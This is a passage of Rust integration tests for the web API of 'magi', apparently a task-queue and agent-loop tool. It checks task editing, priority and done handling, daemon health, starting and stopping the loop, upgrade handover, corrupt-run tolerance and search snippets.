12252            let saved = q.get(&t.id).unwrap();
12253            assert_eq!(saved.implementers(), Some(usize::from(count)));
12254            assert_eq!(saved.runs, t.runs);
12255            assert_eq!(saved.instruction, t.instruction);
12256        }
12257        for count in [0, 4] {
12258            assert_eq!(
12259                change(count).await.err().unwrap().status,
12260                StatusCode::BAD_REQUEST
12261            );
12262        }
12263        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12264        let claim = q.claim(&t.id).unwrap();
12265        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12266        drop(claim);
12267        for status in [
12268            TaskStatus::Running,
12269            TaskStatus::Done,
12270            TaskStatus::Failed,
12271            TaskStatus::Blocked,
12272            TaskStatus::Parked,
12273        ] {
12274            let mut stored = q.get(&t.id).unwrap();
12275            stored.status = status;
12276            q.put(&mut stored).unwrap();
12277            assert_eq!(
12278                change(1).await.err().unwrap().status,
12279                StatusCode::BAD_REQUEST
12280            );
12281            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12282        }
12283    }
12284
12285    #[tokio::test]
12286    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12287        let f = Fixture::start().await;
12288        let queue = f.queue();
12289        let mut task = Task::new(
12290            "in flight".to_owned(),
12291            "x".to_owned(),
12292            PathBuf::from("/repo/magi"),
12293            Source::Human,
12294        );
12295        task.start("20260902-140502-bbbb".to_owned());
12296        queue.put(&mut task).expect("file the task");
12297
12298        let res = f
12299            .post(
12300                &format!("/api/queue/{}/priority", task.id),
12301                Some(r#"{"priority":9}"#),
12302            )
12303            .await;
12304        assert_eq!(res.status, 400, "{}", res.body);
12305        assert!(
12306            res.json()["error"]
12307                .as_str()
12308                .is_some_and(|e| e.contains("running")),
12309            "{}",
12310            res.body
12311        );
12312        assert_eq!(
12313            queue.get(&task.id).expect("reload").priority,
12314            0,
12315            "the refused write must not partially apply"
12316        );
12317    }
12318
12319    #[tokio::test]
12320    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12321        let f = Fixture::start().await;
12322        let queue = f.queue();
12323        let mut task = Task::new(
12324            "old title".to_owned(),
12325            "old instruction".to_owned(),
12326            PathBuf::from("/repo/magi"),
12327            Source::Agent {
12328                run: "20260101-000000-beef".to_owned(),
12329                node: "implement".to_owned(),
12330            },
12331        );
12332        task.runs.push("20260101-000000-beef".to_owned());
12333        queue.put(&mut task).expect("file the task");
12334        let created_at = task.created_at;
12335
12336        let edited = f
12337            .post(
12338                &format!("/api/queue/{}/edit", task.id),
12339                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12340            )
12341            .await;
12342        assert_eq!(edited.status, 200, "{}", edited.body);
12343        let body = edited.json();
12344        assert_eq!(body["title"], "new title");
12345        assert_eq!(body["instruction"], "new instruction");
12346        assert_eq!(body["id"], task.id, "editing must not mint a new id");
12347        assert_eq!(body["created_at"], created_at.to_string());
12348        assert_eq!(
12349            body["source"]["kind"], "agent",
12350            "editing a task an agent filed must not turn it human: {body}"
12351        );
12352        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12353
12354        let reloaded = queue.get(&task.id).expect("reload");
12355        assert_eq!(reloaded.title, "new title");
12356        assert_eq!(reloaded.instruction, "new instruction");
12357    }
12358
12359    #[tokio::test]
12360    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12361        // The judge is an agent now: a repo whose only agent answers
12362        // "duplicate" stands in for it, so the refusal is the judge's.
12363        let tmp = TempDir::new().expect("tempdir");
12364        let repo = tmp.path().join("repo");
12365        std::fs::create_dir_all(&repo).expect("repo dir");
12366        let judge = MOCK_AGENT_TOML.replace(
12367            "printf ok",
12368            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12369        );
12370        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12371        let f = Fixture::with_repo(repo.clone()).await;
12372        let queue = f.queue();
12373        let mut owner = Task::new(
12374            "owner".to_owned(),
12375            "review it".to_owned(),
12376            repo.clone(),
12377            Source::Human,
12378        );
12379        owner.review_branch = Some("magi/ab12/A".to_owned());
12380        queue.put(&mut owner).expect("file the owner");
12381        let mut task = Task::new(
12382            "draft".to_owned(),
12383            "old".to_owned(),
12384            repo.clone(),
12385            Source::Human,
12386        );
12387        queue.put(&mut task).expect("file the draft");
12388        let url = format!("/api/queue/{}/edit", task.id);
12389
12390        let refused = f
12391            .post(
12392                &url,
12393                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12394            )
12395            .await;
12396        assert_eq!(refused.status, 409, "{}", refused.body);
12397        let msg = refused.json()["error"]
12398            .as_str()
12399            .unwrap_or_default()
12400            .to_owned();
12401        assert!(
12402            msg.contains("magi/ab12/A") && msg.contains("force"),
12403            "{msg}"
12404        );
12405        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12406
12407        let forced = f
12408            .post(
12409                &url,
12410                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12411            )
12412            .await;
12413        assert_eq!(forced.status, 200, "{}", forced.body);
12414    }
12415
12416    #[tokio::test]
12417    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12418        let f = Fixture::start().await;
12419        let queue = f.queue();
12420        let mut task = Task::new(
12421            "in flight".to_owned(),
12422            "do not touch".to_owned(),
12423            PathBuf::from("/repo/magi"),
12424            Source::Human,
12425        );
12426        task.start("20260902-140502-bbbb".to_owned());
12427        queue.put(&mut task).expect("file the task");
12428
12429        let res = f
12430            .post(
12431                &format!("/api/queue/{}/edit", task.id),
12432                Some(r#"{"title":"x","instruction":"y"}"#),
12433            )
12434            .await;
12435        assert_eq!(res.status, 400, "{}", res.body);
12436        assert!(
12437            res.json()["error"]
12438                .as_str()
12439                .is_some_and(|e| e.contains("running")),
12440            "{}",
12441            res.body
12442        );
12443        assert_eq!(
12444            queue.get(&task.id).expect("reload").instruction,
12445            "do not touch",
12446            "the refused edit must not change the file"
12447        );
12448    }
12449
12450    #[tokio::test]
12451    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12452        let f = Fixture::start().await;
12453        let queue = f.queue();
12454        let mut task = Task::new(
12455            "busy".to_owned(),
12456            "Running right now".to_owned(),
12457            PathBuf::from("/repo/magi"),
12458            Source::Human,
12459        );
12460        queue.put(&mut task).expect("file the task");
12461        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12462
12463        let priority = f
12464            .post(
12465                &format!("/api/queue/{}/priority", task.id),
12466                Some(r#"{"priority":9}"#),
12467            )
12468            .await;
12469        assert_eq!(priority.status, 409, "{}", priority.body);
12470
12471        let edit = f
12472            .post(
12473                &format!("/api/queue/{}/edit", task.id),
12474                Some(r#"{"title":"x","instruction":"y"}"#),
12475            )
12476            .await;
12477        assert_eq!(edit.status, 409, "{}", edit.body);
12478    }
12479
12480    #[tokio::test]
12481    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
12482        let f = Fixture::start().await;
12483        let queue = f.queue();
12484        let mut task = Task::new(
12485            "shipped by hand".to_owned(),
12486            "merged outside the loop".to_owned(),
12487            PathBuf::from("/repo/magi"),
12488            Source::Agent {
12489                run: "20260101-000000-b455".to_owned(),
12490                node: "implement".to_owned(),
12491            },
12492        );
12493        task.runs.push("20260101-000000-b455".to_owned());
12494        task.runs.push("20260101-000000-9af4".to_owned());
12495        queue.put(&mut task).expect("file the task");
12496        let created_at = task.created_at;
12497
12498        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12499        assert_eq!(done.status, 200, "{}", done.body);
12500        assert_eq!(done.json()["status_str"], "done");
12501
12502        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
12503        assert_eq!(
12504            reloaded.runs,
12505            ["20260101-000000-b455", "20260101-000000-9af4"]
12506        );
12507        assert_eq!(
12508            reloaded.source,
12509            Source::Agent {
12510                run: "20260101-000000-b455".to_owned(),
12511                node: "implement".to_owned(),
12512            }
12513        );
12514        assert_eq!(reloaded.created_at, created_at);
12515    }
12516
12517    #[tokio::test]
12518    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
12519        // `done` is allowed on any status, including `held`, with no release
12520        // in between - so a task held for a reason and then closed directly
12521        // must not keep reading as "waiting on" it afterwards, on its card or
12522        // in `magi task show`.
12523        let f = Fixture::start().await;
12524        let queue = f.queue();
12525        let mut task = Task::new(
12526            "landed while held".to_owned(),
12527            "x".to_owned(),
12528            PathBuf::from("/repo/magi"),
12529            Source::Human,
12530        );
12531        task.hold_manual(Some("waiting on 3ed9".to_owned()));
12532        queue.put(&mut task).expect("file the held task");
12533
12534        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12535        assert_eq!(done.status, 200, "{}", done.body);
12536        assert_eq!(done.json()["status_str"], "done");
12537        assert!(
12538            done.json()["hold_reason"].is_null(),
12539            "a done task cannot still be waiting on something: {}",
12540            done.body
12541        );
12542    }
12543
12544    #[tokio::test]
12545    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
12546        // `queue_done` is the phone's way to close a task the loop never
12547        // settled itself - after confirming a manual GitHub merge, say - and
12548        // that is just as much "this task's story is over" as the loop's own
12549        // `Merged`/`Ready` path, so it must trigger the same cleanup.
12550        let f = Fixture::start().await;
12551        let queue = f.queue();
12552        let runs = f.runs();
12553        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
12554        // The last attempt has to have actually landed for the earlier one
12555        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
12556        // for the case where it didn't.
12557        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
12558
12559        let mut task = Task::new(
12560            "landed by hand".to_owned(),
12561            "x".to_owned(),
12562            PathBuf::from("/repo/magi"),
12563            Source::Human,
12564        );
12565        task.runs.push("20260101-000000-doa1".to_owned());
12566        task.runs.push("20260101-000000-doa2".to_owned());
12567        queue.put(&mut task).expect("file the task");
12568
12569        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12570        assert_eq!(done.status, 200, "{}", done.body);
12571
12572        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
12573            .expect("run still on disk under this fixture's own home");
12574        assert_eq!(
12575            reloaded_run.status,
12576            RunStatus::Superseded,
12577            "closing the task by hand must relabel the earlier blocked attempt exactly \
12578             like the loop's own settle path does"
12579        );
12580    }
12581
12582    #[tokio::test]
12583    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
12584        // Closing a task by hand is allowed from any status, including one
12585        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
12586        // manual merge the loop never watched, say. Nothing here is provably
12587        // why the task is done, so nothing earlier gets relabelled either.
12588        let f = Fixture::start().await;
12589        let queue = f.queue();
12590        let runs = f.runs();
12591        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
12592        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
12593
12594        let mut task = Task::new(
12595            "closed with nothing actually landed".to_owned(),
12596            "x".to_owned(),
12597            PathBuf::from("/repo/magi"),
12598            Source::Human,
12599        );
12600        task.runs.push("20260101-000000-dob1".to_owned());
12601        task.runs.push("20260101-000000-dob2".to_owned());
12602        queue.put(&mut task).expect("file the task");
12603
12604        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12605        assert_eq!(done.status, 200, "{}", done.body);
12606
12607        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
12608            .expect("run still on disk under this fixture's own home");
12609        assert_eq!(
12610            reloaded_run.status,
12611            RunStatus::Blocked,
12612            "the last recorded attempt never landed, so the earlier one must not be \
12613             relabelled as superseded by it"
12614        );
12615    }
12616
12617    #[tokio::test]
12618    async fn unknown_ids_are_json_not_found_on_both_stores() {
12619        let f = Fixture::start().await;
12620
12621        let run = f.get("/api/runs/nosuchrun").await;
12622        let task = f.post("/api/queue/nosuchtask/hold", None).await;
12623
12624        assert_eq!(run.status, 404);
12625        assert_eq!(task.status, 404);
12626        assert!(
12627            run.json()["error"]
12628                .as_str()
12629                .is_some_and(|e| e.contains("run")),
12630            "the error names what was not found: {}",
12631            run.body
12632        );
12633        assert!(
12634            task.json()["error"]
12635                .as_str()
12636                .is_some_and(|e| e.contains("task")),
12637            "the error names what was not found: {}",
12638            task.body
12639        );
12640    }
12641
12642    #[tokio::test]
12643    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
12644        let f = Fixture::start().await;
12645
12646        let missing = f.get("/api/health").await.json();
12647        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
12648
12649        write_daemon(
12650            f.home.path(),
12651            Timestamp::now() - jiff::SignedDuration::from_secs(60),
12652        );
12653        let stale = f.get("/api/health").await.json();
12654        assert_eq!(
12655            stale["daemon"]["running"], false,
12656            "a minute without a heartbeat is a dead daemon, not a busy one"
12657        );
12658        assert!(
12659            stale["daemon"]["stale_for_secs"]
12660                .as_i64()
12661                .is_some_and(|s| s >= 55),
12662            "staleness is reported so the UI can say how long: {stale}"
12663        );
12664
12665        write_daemon(f.home.path(), Timestamp::now());
12666        let fresh = f.get("/api/health").await.json();
12667        assert_eq!(fresh["daemon"]["running"], true);
12668        assert_eq!(fresh["daemon"]["idle"], false);
12669        assert_eq!(fresh["daemon"]["pid"], 4242);
12670        assert_eq!(fresh["daemon"]["completed"], 7);
12671        assert_eq!(
12672            fresh["daemon"]["current"][0]["task"],
12673            "20260902-140501-aaaa"
12674        );
12675        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
12676    }
12677
12678    #[tokio::test]
12679    async fn the_loop_is_not_running_until_something_starts_it() {
12680        let f = Fixture::start().await;
12681
12682        let view = f.get("/api/loop").await.json();
12683        assert_eq!(view["running"], false);
12684        assert_eq!(
12685            view["owned"], false,
12686            "nobody owns a loop that does not exist: {view}"
12687        );
12688        assert_eq!(view["stopping"], false);
12689        assert_eq!(view["last_error"], Value::Null);
12690        assert_eq!(view["daemon"]["running"], false);
12691        assert_eq!(
12692            view["repo"], "/repo/magi",
12693            "the repository a start would use, named before it is started"
12694        );
12695    }
12696
12697    #[tokio::test]
12698    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
12699        let f = Fixture::start().await;
12700
12701        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12702        assert_eq!(res.status, 200, "{}", res.body);
12703        let view = res.json();
12704        assert_eq!(view["running"], true);
12705        assert_eq!(
12706            view["owned"], true,
12707            "the loop the UI started is the UI's own to stop: {view}"
12708        );
12709        assert_eq!(
12710            view["merge"],
12711            Value::Null,
12712            "no override was given, so each repository's own config decides"
12713        );
12714
12715        // The same object from the route a waking phone polls first. Two
12716        // surfaces disagreeing about whether anything is running is exactly
12717        // the confusion this UI exists to remove.
12718        let health = f.get("/api/health").await.json();
12719        assert_eq!(health["loop"]["running"], true, "{health}");
12720        assert_eq!(health["loop"]["owned"], true, "{health}");
12721
12722        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12723    }
12724
12725    #[tokio::test]
12726    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
12727        let f = Fixture::start().await;
12728        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12729        assert_eq!(first.status, 200, "{}", first.body);
12730
12731        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12732        assert_eq!(
12733            again.status, 409,
12734            "two loops on one queue race for the same claims: {}",
12735            again.body
12736        );
12737        assert!(
12738            again.json()["error"]
12739                .as_str()
12740                .is_some_and(|e| e.contains("already running the loop")),
12741            "the refusal has to say why: {}",
12742            again.body
12743        );
12744        assert_eq!(
12745            f.get("/api/loop").await.json()["running"],
12746            true,
12747            "and the loop that was already running is untouched by it"
12748        );
12749
12750        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12751    }
12752
12753    #[tokio::test]
12754    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
12755        let f = Fixture::start().await;
12756        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12757
12758        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12759        assert_eq!(
12760            res.status, 200,
12761            "the answer must not wait for the loop: a run in flight is tens of \
12762             minutes and the operator is holding a phone: {}",
12763            res.body
12764        );
12765
12766        let view = settled(&f, |v| v["running"] == false).await;
12767        assert_eq!(view["owned"], false);
12768        assert_eq!(
12769            view["stopping"], false,
12770            "a loop that has stopped is not still stopping: {view}"
12771        );
12772        assert_eq!(
12773            view["last_error"],
12774            Value::Null,
12775            "a loop that was asked to stop did not fail: {view}"
12776        );
12777
12778        // Idempotent, because the operator cannot tell a slow stop from a lost
12779        // one and will press it again.
12780        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12781        assert_eq!(twice.status, 200, "{}", twice.body);
12782    }
12783
12784    #[tokio::test]
12785    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
12786        let f = Fixture::start().await;
12787        // How the operator has been doing it: a `magi serve` of their own,
12788        // heartbeat fresh, in the same home this UI reads.
12789        write_daemon(f.home.path(), Timestamp::now());
12790
12791        let view = f.get("/api/loop").await.json();
12792        assert_eq!(view["running"], false, "not in this process: {view}");
12793        assert_eq!(view["owned"], false, "and not this process's to control");
12794        assert_eq!(
12795            view["daemon"]["running"], true,
12796            "but a loop is alive somewhere, which is what the UI must say"
12797        );
12798        assert_eq!(view["daemon"]["pid"], 4242);
12799
12800        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
12801            let res = f.post("/api/loop", Some(body)).await;
12802            assert_eq!(
12803                res.status, 409,
12804                "neither button may pretend to work on someone else's loop: {}",
12805                res.body
12806            );
12807            assert!(
12808                res.json()["error"]
12809                    .as_str()
12810                    .is_some_and(|e| e.contains("4242")),
12811                "the refusal has to name the process the operator must go to: {}",
12812                res.body
12813            );
12814        }
12815        assert_eq!(
12816            f.get("/api/loop").await.json()["running"],
12817            false,
12818            "and the refusal started nothing"
12819        );
12820    }
12821
12822    #[tokio::test]
12823    async fn a_stale_status_file_is_not_a_foreign_owner() {
12824        let f = Fixture::start().await;
12825        write_daemon(
12826            f.home.path(),
12827            Timestamp::now() - jiff::SignedDuration::from_secs(60),
12828        );
12829
12830        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12831        assert_eq!(
12832            res.status, 200,
12833            "a daemon killed a minute ago must not lock the loop out of its \
12834             own home for good: {}",
12835            res.body
12836        );
12837        assert_eq!(res.json()["running"], true);
12838
12839        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12840    }
12841
12842    #[tokio::test]
12843    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
12844        let f = Fixture::start().await;
12845        let before = f.get("/api/health").await.json()["loop_rev"]
12846            .as_u64()
12847            .expect("a loop revision");
12848
12849        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12850
12851        let after = f.get("/api/health").await.json()["loop_rev"]
12852            .as_u64()
12853            .expect("a loop revision");
12854        assert!(
12855            after > before,
12856            "the loop is in-process state, so this counter is the only thing \
12857             that tells a second device the first one started it: {before} -> \
12858             {after}"
12859        );
12860
12861        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12862    }
12863
12864    #[tokio::test]
12865    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
12866        let f = Fixture::with_loop(launch_broken).await;
12867
12868        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12869        assert_eq!(
12870            res.status, 200,
12871            "starting it is not the failure: {}",
12872            res.body
12873        );
12874
12875        let view = settled(&f, |v| v["last_error"].is_string()).await;
12876        assert_eq!(
12877            view["running"], false,
12878            "a loop that died must not read as running, or the operator has \
12879             nothing to press: {view}"
12880        );
12881        assert_eq!(view["owned"], false);
12882        assert!(
12883            view["last_error"]
12884                .as_str()
12885                .is_some_and(|e| e.contains("read-only file system")),
12886            "the phone is where a loop that died at 3am is visible: {view}"
12887        );
12888
12889        // And it can be started again: the corpse was reaped, not left to
12890        // occupy the slot.
12891        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12892        assert_eq!(again.status, 200, "{}", again.body);
12893        assert!(
12894            again.json()["last_error"]
12895                .as_str()
12896                .is_none_or(|e| !e.contains("read-only file system")),
12897            "a fresh start does not keep showing why the last one died: {}",
12898            again.body
12899        );
12900    }
12901
12902    /// An upgrade parks the run in flight before it restarts, and a park waits
12903    /// for the node - up to `timeout_implement`, an hour by default. The deck
12904    /// has to answer for all of it: the operator has just been told a run is
12905    /// finishing first, and this address is the only place that says how it is
12906    /// going. It did not, once - the listener went with the `select!` arm that
12907    /// began the handover, and the phone got `Cannot reach magi: Failed to
12908    /// fetch` for the rest of the wave.
12909    ///
12910    /// The other half is the older rule: the address must be free *before* the
12911    /// successor is started, or it dies on "address already in use" with its
12912    /// stdio sent to null and the deck never comes back.
12913    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12914    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12915        let home = TempDir::new().expect("temp home");
12916        let runs = home.path().join("runs");
12917        std::fs::create_dir_all(&runs).expect("runs dir");
12918        let ui = Ui::new(
12919            Queue::at(home.path().join("queue")),
12920            Questions::at(home.path().join("questions")),
12921            Talks::at(home.path().join("talks")),
12922            runs,
12923            home.path().to_path_buf(),
12924            PathBuf::from("/repo/magi"),
12925        )
12926        .with_worktrees_root(home.path().join("wt"))
12927        .with_launch(launch_knocking_on_the_way_out);
12928        let looping = ui.looping();
12929        let turns = ui.turns();
12930        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12931            .await
12932            .expect("bind loopback");
12933        let addr = listener.local_addr().expect("local addr");
12934        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12935        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12936
12937        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12938        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12939
12940        // The successor's whole job, and the one thing it cannot do while this
12941        // process still holds the socket.
12942        //
12943        // One bind is not enough, and the reason is not this process's order of
12944        // operations: aborting the accept loop drops the listener, but axum
12945        // serves each accepted connection on a task of its own, and those are
12946        // not aborted. The requests above left sockets on this very address,
12947        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
12948        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
12949        // Production absorbs that in `bind_waiting`; so does this. Only
12950        // `AddrInUse` is retried, and the listener is released before the
12951        // closure returns - were the order wrong, the listener would outlive
12952        // the closure and every attempt would fail. Inferred from the bind
12953        // rules and the code; not reproduced on macOS.
12954        let bound = std::sync::Mutex::new(None);
12955        hand_over(
12956            home.path(),
12957            &looping,
12958            &turns,
12959            &|_: &[String]| Duration::from_secs(5),
12960            served,
12961            |_| {
12962                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12963                let attempt = loop {
12964                    match std::net::TcpListener::bind(addr) {
12965                        Ok(l) => {
12966                            drop(l);
12967                            break Ok(());
12968                        }
12969                        Err(e)
12970                            if e.kind() == std::io::ErrorKind::AddrInUse
12971                                && std::time::Instant::now() < deadline =>
12972                        {
12973                            std::thread::sleep(std::time::Duration::from_millis(10));
12974                        }
12975                        Err(e) => break Err(e.to_string()),
12976                    }
12977                };
12978                *bound.lock().expect("bound") = Some(attempt);
12979                Ok(1)
12980            },
12981        )
12982        .await
12983        .expect("hand over");
12984
12985        assert_eq!(
12986            *PARK_HEARD.lock().expect("park heard"),
12987            Some(200),
12988            "the deck must answer while the loop is parking"
12989        );
12990        let attempt = bound
12991            .lock()
12992            .expect("bound")
12993            .take()
12994            .expect("the successor was started");
12995        assert!(
12996            attempt.is_ok(),
12997            "and the address must be free by the time it is: {attempt:?}"
12998        );
12999    }
13000
13001    #[tokio::test]
13002    async fn a_newer_daemon_status_file_still_renders() {
13003        let f = Fixture::start().await;
13004        // A field this build has never heard of must not turn the status line
13005        // into a 500; that is the whole reason the reader is permissive.
13006        std::fs::write(
13007            f.home.path().join("daemon.json"),
13008            serde_json::json!({
13009                "schema": 2,
13010                "updated_at": Timestamp::now().to_string(),
13011                "idle": true,
13012                "surprise": { "nested": [1, 2, 3] },
13013            })
13014            .to_string(),
13015        )
13016        .expect("write daemon.json");
13017
13018        let health = f.get("/api/health").await;
13019
13020        assert_eq!(health.status, 200);
13021        assert_eq!(health.json()["daemon"]["running"], true);
13022    }
13023
13024    #[tokio::test]
13025    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
13026        let f = Fixture::start().await;
13027        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13028        let broken = f.runs().join("20260902-140502-bad");
13029        std::fs::create_dir_all(&broken).expect("run dir");
13030        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13031
13032        let list = f.get("/api/runs").await;
13033        let detail = f.get("/api/runs/20260902-140502-bad").await;
13034
13035        assert_eq!(list.status, 200);
13036        let listed = list.json();
13037        let ids: Vec<&str> = listed
13038            .as_array()
13039            .expect("an array")
13040            .iter()
13041            .map(|r| r["id"].as_str().expect("an id"))
13042            .collect();
13043        assert_eq!(
13044            ids,
13045            vec!["20260902-140501-good"],
13046            "one unreadable run must not cost the operator the whole history"
13047        );
13048        assert_eq!(detail.status, 500);
13049        assert!(
13050            detail.json()["error"]
13051                .as_str()
13052                .is_some_and(|e| e.contains("run.json")),
13053            "the failure names the file to look at: {}",
13054            detail.body
13055        );
13056        // A skipped run has to be countable somewhere, or the UI shows an
13057        // empty history with nothing to explain it - which is exactly what a
13058        // directory full of older-schema runs looks like.
13059        let health = f.get("/api/health").await;
13060        assert_eq!(health.json()["runs_unreadable"], 1);
13061    }
13062
13063    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
13064    #[tokio::test]
13065    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13066        let f = Fixture::start().await;
13067        let runs = f.runs();
13068        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13069        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13070        // Text three levels down, in a shape no current RunState has: an older
13071        // schema must still search.
13072        let path = runs.join("20260902-140502-bbbb").join("run.json");
13073        let mut v: serde_json::Value =
13074            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13075        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13076        std::fs::write(&path, v.to_string()).unwrap();
13077        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13078        std::fs::write(
13079            runs.join("20260902-140503-cccc").join("run.json"),
13080            "{ not json",
13081        )
13082        .unwrap();
13083
13084        let res = f.get("/api/search?scope=runs&q=quokka").await;
13085        assert_eq!(res.status, 200, "{}", res.body);
13086        let v = res.json();
13087        assert_eq!(v["total"], 1, "{v}");
13088        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13089        assert_eq!(v["hits"][0]["field"], "text");
13090        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13091        let parts = v["hits"][0]["snippet"].as_array().unwrap();
13092        assert!(
13093            parts
13094                .iter()
13095                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13096            "{v}"
13097        );
13098        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13099        assert_eq!(
13100            flat, "The Quokka leaks across threads",
13101            "whitespace is collapsed"
13102        );
13103
13104        // Terms are ANDed, across different fields, case-insensitively.
13105        let both = f
13106            .get("/api/search?scope=runs&q=MOBILE%20quokka")
13107            .await
13108            .json();
13109        assert_eq!(both["total"], 1, "{both}");
13110        let neither = f
13111            .get("/api/search?scope=runs&q=quokka%20zebra")
13112            .await
13113            .json();
13114        assert_eq!(neither["total"], 0, "{neither}");
13115        // Everything in the task statement is reachable, not only the row text.
13116        let stmt = f
13117            .get("/api/search?scope=runs&q=mobile%20first")
13118            .await
13119            .json();
13120        assert_eq!(stmt["total"], 2, "{stmt}");
13121        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13122        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13123    }
13124
13125    #[test]
13126    fn snippet_ignores_terms_longer_than_the_field() {
13127        let terms = ["ok".to_owned(), "elephant".to_owned()];
13128        let parts = snippet_of("ok", &terms);
13129        assert_eq!(
13130            parts,
13131            vec![SnippetPart {
13132                text: "ok".to_owned(),
13133                hit: true
13134            }]
13135        );
13136    }
13137
13138    #[test]
13139    fn snippet_marks_matches_longer_than_the_window() {
13140        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13141        let hit_len = |parts: &[SnippetPart]| -> usize {
13142            parts
13143                .iter()
13144                .filter(|p| p.hit)
13145                .map(|p| p.text.chars().count())
13146                .sum()
13147        };
13148        let total =
13149            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13150
13151        let long = "a".repeat(120);
13152        let parts = snippet_of(&long, std::slice::from_ref(&long));
13153        assert!(hit_len(&parts) > 0, "{parts:?}");
13154        assert!(total(&parts) <= cap);
13155
13156        let ja = "あ".repeat(130);
13157        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13158        assert!(hit_len(&parts) > 0, "{parts:?}");
13159        assert!(total(&parts) <= cap);
13160
13161        // A short hit, then one straddling the window's end.
13162        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13163        let term = format!("ab{}", "c".repeat(100));
13164        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13165        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13166        assert!(total(&parts) <= cap);
13167
13168        // Only the head matches: not highlighted.
13169        let text = format!("{}z", "a".repeat(119));
